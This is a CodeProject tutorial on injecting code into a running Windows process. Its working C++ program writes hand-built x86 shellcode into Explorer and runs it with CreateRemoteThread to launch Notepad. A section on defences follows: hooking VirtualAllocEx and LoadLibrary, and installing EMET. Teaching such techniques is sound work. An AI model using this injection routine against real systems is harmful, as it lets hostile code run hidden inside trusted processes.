Click here to Skip to main content
15,880,427 members
Articles / Security
Tip/Trick

Code Injection

Rate me:
Please Sign up or sign in to vote.
4.91/5 (13 votes)
28 Feb 2014CPOL3 min read 56.8K   49   17
This program will demonstrate the process of injecting code into already running processes. Here we have choosen to inject into Explorer

Introduction

We will see the different steps involved to perform a code injection into an already running process.

Following are the quick steps through the process of injection.

  1. Get the API addresses that you will be calling from the injected code.
  2. Prepare shell code of your function that you want to get executed from the injected process.
  3. Get the process ID of the running process that you wish to inject into by enumerating through the list of processes or by finding the process's window (in case it's a GUI application) by class name or title.
  4. Open the process using its Pid with All Access rights.
  5. Allocate different memory spaces in the process that you are going to inject to with desired access rights for holding different segments of your shell code.
    1. Code part (executable instructions)
    2. Data part (strings, function parameters, etc.)
  6. Write the allocated memories with the respective values (code and data).
  7. Call CreateRemoteThread API and pass to it the start of allocated memory address where you have written your shell code from the process we are injecting.

Code

C++
/*
    Application:    Code Injection in Explorer
    Author:        @_RT
    Compiled on:    Feb 2014

*/

#include <windows.h>
#pragma comment(lib,"user32.lib")

LPVOID addr;
LPVOID addr2;

BOOL InjectExecutable(DWORD dwPid,LPVOID si,LPVOID pi,int sisize,int pisize)
{
    LPVOID hNewModule;
    HANDLE hProcess;
    CHAR S[]    = { "C:\\Windows\\notepad.exe" };
    BYTE byt[]  = {0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x68};
    BYTE byt2[] = {0xE8};
    BYTE byt3[] = {0x68};

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
        return FALSE;
    }

    LPVOID staddr = VirtualAllocEx(hProcess, NULL, sizeof(S), MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, staddr, S, sizeof(S), NULL);
    LPVOID fnaddr = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, fnaddr, si, sisize, NULL);
    LPVOID fnaddr2 = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, fnaddr2, pi, pisize, NULL);
    
    hNewModule = VirtualAllocEx(hProcess, NULL, 100, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (hNewModule == NULL)
    {
        return FALSE;
    }
    LPTHREAD_START_ROUTINE strtaddr = (LPTHREAD_START_ROUTINE)hNewModule;

    WriteProcessMemory(hProcess, hNewModule, byt3, sizeof(byt3), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt3));
    WriteProcessMemory(hProcess, hNewModule, &fnaddr, sizeof(fnaddr), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(fnaddr));
    WriteProcessMemory(hProcess, hNewModule, byt3, sizeof(byt3), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt3));
    WriteProcessMemory(hProcess, hNewModule, &fnaddr2, sizeof(fnaddr2), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(fnaddr2));
    WriteProcessMemory(hProcess, hNewModule, byt, sizeof(byt), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt));
    WriteProcessMemory(hProcess, hNewModule, &staddr, sizeof(staddr), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(staddr));
    WriteProcessMemory(hProcess, hNewModule, byt2, sizeof(byt2), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt2));
    addr = (LPVOID)((int)addr - ((int)hNewModule + 4));
    WriteProcessMemory(hProcess, hNewModule, &addr, sizeof(addr), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(addr));
    WriteProcessMemory(hProcess, hNewModule, byt, 2, NULL);
    hNewModule = (LPVOID)((int)hNewModule + 2);
    WriteProcessMemory(hProcess, hNewModule, byt2, sizeof(byt2), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt2));
    addr2 = (LPVOID)((int)addr2 - ((int)hNewModule + 4));
    WriteProcessMemory(hProcess, hNewModule, &addr2, sizeof(addr2), NULL);

    CreateRemoteThread(hProcess, 0, 0, strtaddr, NULL, 0, NULL);
    return TRUE;
}

void main()
{
    _STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    DWORD dwPid;
    HMODULE ldlib = LoadLibraryA("Kernel32.dll");
    addr = GetProcAddress(ldlib, "CreateProcessA");
    addr2 = GetProcAddress(ldlib, "ExitThread");
    GetWindowThreadProcessId(FindWindow(NULL, L"Start Menu"), &dwPid);
    
    InjectExecutable(dwPid,&si,&pi,sizeof(si),sizeof(pi));
}

A different approach for code injection is shown in the following listing which does not include any hard coded bytes and can be used for 32 bit and 64 bit versions.

How to Prevent Code Injection

Its quite hard to block code injection using standard rules of programming. Blocking this would require a hacker's perspective where you will have to hook few APIs to monitor your process for any foreign code.

Although there are many security measures implemented by Windows to block these kind of techniques like DEP (data execution prevention) ASLR, they won't help much in the scenario of the above code.

To block code injection of type that's shown above in my program and also of type 'DLL injection', here are few tips.

Hook VirtualAllocEx

API which is used to get a memory space in the required process and on each call of this API your hooked code will verify whether the process handle to this API refers to your process and if so, block this call and return.

Hook LoadLibrary

In your hook, you check against a list of DLL names that you know are part of the process and that may be loaded, or you can check against a list of known DLLs you don't want to load.
When you find a DLL, you don't want to load SetLastError(ERROR_ACCESS_DENIED) then return NULL. I set the last error so that people that write code looking for an error code get one. This appears to work, perhaps a different code may be more appropriate.

That will stop the DLL from loading.

Also, monitoring CreateRemoteThread API can help you defend your application against injection.

Also, I will recommend you to go through an article listed below which shows different methods of injection and you can then develop your own solution to prevent them after a little workaround.

*Important: Installing EMET will be very useful to mitigate many such attacking techniques.

Download EMET for free from Microsoft

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


Written By
Engineer
India India
This member has not yet provided a Biography. Assume it's interesting and varied, and probably something to do with programming.

Comments and Discussions

 
QuestionWhy Cannot see anything when running the code??? Pin
smmtc7-Jan-15 2:53
smmtc7-Jan-15 2:53 
QuestionWhat does the data bytes do Pin
yafan2-Mar-14 2:35
yafan2-Mar-14 2:35 
AnswerRe: What does the data bytes do Pin
_Ravikant Tiwari_2-Mar-14 18:20
professional_Ravikant Tiwari_2-Mar-14 18:20 
GeneralRe: What does the data bytes do Pin
yafan6-Mar-14 2:12
yafan6-Mar-14 2:12 
GeneralRe: What does the data bytes do Pin
rtischer82774-Aug-17 10:01
rtischer82774-Aug-17 10:01 
QuestionWhat will be the output of this code? Pin
SajeeshCheviry27-Feb-14 22:01
SajeeshCheviry27-Feb-14 22:01 
AnswerRe: What will be the output of this code? Pin
_Ravikant Tiwari_27-Feb-14 23:15
professional_Ravikant Tiwari_27-Feb-14 23:15 
QuestionWhat does that code do? Pin
noone240725-Feb-14 22:54
noone240725-Feb-14 22:54 
AnswerRe: What does that code do? Pin
_Ravikant Tiwari_25-Feb-14 23:02
professional_Ravikant Tiwari_25-Feb-14 23:02 
GeneralRe: What does that code do? Pin
noone240725-Feb-14 23:04
noone240725-Feb-14 23:04 
GeneralRe: What does that code do? Pin
_Ravikant Tiwari_25-Feb-14 23:15
professional_Ravikant Tiwari_25-Feb-14 23:15 
QuestionInteresting Pin
AnotherKen24-Feb-14 9:54
professionalAnotherKen24-Feb-14 9:54 
AnswerRe: Interesting Pin
_Ravikant Tiwari_24-Feb-14 19:12
professional_Ravikant Tiwari_24-Feb-14 19:12 
AnswerRe: Interesting Pin
J. Wijaya24-Feb-14 23:10
J. Wijaya24-Feb-14 23:10 
I couldn't agree with you more.

Poke tongue | ;-P
Thirst for knowledge ...

GeneralRe: Interesting Pin
_Ravikant Tiwari_24-Feb-14 23:49
professional_Ravikant Tiwari_24-Feb-14 23:49 
GeneralRe: Interesting Pin
J. Wijaya25-Feb-14 18:10
J. Wijaya25-Feb-14 18:10 
GeneralRe: Interesting Pin
_Ravikant Tiwari_25-Feb-14 19:22
professional_Ravikant Tiwari_25-Feb-14 19:22 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.